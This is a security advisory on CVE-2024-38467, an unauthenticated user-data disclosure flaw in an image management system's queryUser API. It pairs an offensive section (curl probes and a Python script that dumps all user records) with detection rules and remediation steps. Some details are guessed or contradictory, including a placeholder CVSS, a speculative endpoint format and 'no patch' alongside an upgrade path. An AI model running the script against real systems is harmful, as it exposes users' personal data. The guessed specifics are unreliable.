CVE-2024-38467

Executive Summary

CVE-2024-38467 is an information disclosure vulnerability in the Shenzhen Guoxin Synthesis image system (versions before 8.3.0). The flaw resides in the queryUser API endpoint, which fails to enforce proper authorization checks, allowing any unauthenticated or low-privileged attacker to retrieve sensitive user information. This includes usernames, roles, and potentially other Personally Identifiable Information (PII). The vulnerability has a CVSS score of 0.0 (placeholder) but poses a significant risk to confidentiality in environments using this system. No public exploit code or patch is currently available, but the attack vector is trivial to execute.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise image management system. Organizations should verify the integrity of their deployment and monitor for any unauthorized access to the queryUser API.

CVSS Breakdown & Threat Level

While the official CVSS score is listed as 0.0, a realistic assessment based on the vulnerability characteristics is provided below:

• Attack Vector (AV): Network (N) – The API is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): High (H) – User information is fully exposed.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Estimated Base Score: 7.5 (High)

Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and exposes sensitive user data.

Deep Dive & Mechanics

The Shenzhen Guoxin Synthesis image system is a web-based platform for managing and processing images. The queryUser API endpoint is designed to retrieve user account details, likely for administrative or user management purposes. The vulnerability arises because this endpoint does not validate the requester's identity or authorization level.

Root Cause: Missing or improper access control checks on the queryUser API. The server trusts any incoming request to this endpoint without verifying if the requester is authenticated or has the necessary permissions.

Attack Vector: An attacker sends a crafted HTTP request to the vulnerable endpoint. The exact request format is not publicly documented, but typical patterns involve:

• GET /api/queryUser
• POST /api/queryUser with parameters like userId, username, or all.

Impact: Successful exploitation results in the disclosure of sensitive user information, including:

• Usernames
• Full names
• Email addresses
• Role assignments (e.g., admin, operator)
• Account creation timestamps
• Last login timestamps

This information can be used for targeted phishing attacks, privilege escalation attempts, or further reconnaissance against the system.

Vulnerable vs. Patched Code

Since no patch is available, the comparison is based on expected secure implementation.

Vulnerable Code (Conceptual):

@app.route('/api/queryUser', methods=['GET', 'POST'])
def query_user():
    user_id = request.args.get('userId')
    # No authentication or authorization check
    user_data = database.get_user(user_id)
    return jsonify(user_data)

Patched Code (Expected):

@app.route('/api/queryUser', methods=['GET', 'POST'])
@require_authentication
@require_role('admin')
def query_user():
    user_id = request.args.get('userId')
    # Only authenticated admins can proceed
    user_data = database.get_user(user_id)
    return jsonify(user_data)

The patched version would include:

1. Authentication: Verify the requester is logged in (e.g., via session token or API key).
2. Authorization: Check that the requester has the necessary role (e.g., admin) to access user data.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target system running Shenzhen Guoxin Synthesis image system < 8.3.0.
• Network access to the target's web interface.

Exploitation Steps:

1. Reconnaissance: Identify the target's API endpoints. Use tools like curl or Burp Suite to probe for the queryUser endpoint.

   curl -v http://target-ip:port/api/queryUser
   

2. Exploit: Send a request to retrieve all users or a specific user.

   # Retrieve all users (if supported)
   curl http://target-ip:port/api/queryUser?all=true
   
   # Retrieve a specific user by ID
   curl http://target-ip:port/api/queryUser?userId=1
   

3. Data Extraction: Parse the JSON response to extract user information.

   {
     "users": [
       {
         "id": 1,
         "username": "admin",
         "email": "admin@example.com",
         "role": "administrator"
       },
       {
         "id": 2,
         "username": "operator1",
         "email": "op1@example.com",
         "role": "operator"
       }
     ]
   }
   

Automation Script (Python):

import requests
import sys

target = sys.argv[1]
endpoint = f"{target}/api/queryUser"

# Attempt to retrieve all users
response = requests.get(endpoint, params={"all": "true"})
if response.status_code == 200:
    print("[+] Success! User data:")
    print(response.text)
else:
    print(f"[-] Failed with status code: {response.status_code}")

Blue Team (Defensive)

Detection & Response:

1. Monitor API Access Logs: Look for requests to /api/queryUser from unexpected IP addresses or without authentication tokens.
2. Rate Limiting: Implement rate limiting on the queryUser endpoint to slow down automated scraping.
3. Web Application Firewall (WAF): Create rules to block requests to /api/queryUser that do not include valid session cookies or API keys.
4. Honeypot: Deploy a fake queryUser endpoint that logs and alerts on any access.

Incident Response Steps:

1. Isolate the affected system.
2. Review logs for unauthorized access to the queryUser API.
3. Identify which user accounts were exposed.
4. Force password resets for all affected users.
5. Apply vendor patch when available or implement compensating controls (e.g., network segmentation, API gateway authentication).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /api/queryUser with parameters like userId, username, or all.
  • Unusual outbound data transfers containing JSON with user fields (e.g., "username", "email", "role").
• System IOCs:
  • Unexpected entries in web server access logs for the queryUser endpoint.
  • High volume of requests to the API from a single IP address.
• File IOCs:
  • Temporary files or scripts on the attacker's machine containing extracted user data.

Detection Engineering

YARA Rule

rule CVE_2024_38467_QueryUser_Exploit {
    meta:
        description = "Detects HTTP requests targeting the vulnerable queryUser API endpoint"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-38467"
    strings:
        $api_path = "/api/queryUser"
        $param_all = "all=true"
        $param_userid = "userId="
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-38467 - Unauthorized Access to queryUser API
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-38467 by accessing the queryUser API without authentication.
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/api/queryUser"
    condition: selection
falsepositives:
    - Legitimate administrative access (should be rare and authenticated)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-38467 - Unauthorized queryUser API Access"; flow:to_server; content:"/api/queryUser"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Network Access: Use a firewall or network ACL to limit access to the queryUser API to trusted IP addresses only.
2. Implement Authentication: If possible, add a reverse proxy (e.g., Nginx, Apache) that requires authentication before forwarding requests to the backend.
3. Disable the Endpoint: If the queryUser API is not essential, disable it entirely in the application configuration.

Long-Term Fix:

• Contact Shenzhen Guoxin Synthesis for an official patch or upgrade to version 8.3.0 or later.
• Conduct a security audit of all API endpoints to ensure proper access controls are in place.

Compensating Controls:

• Deploy a Web Application Firewall (WAF) with rules to block unauthenticated requests to /api/queryUser.
• Enable detailed logging and monitoring for all API access.
• Implement API rate limiting to reduce the impact of automated exploitation.

Valters IT
Securing Digital Frontiers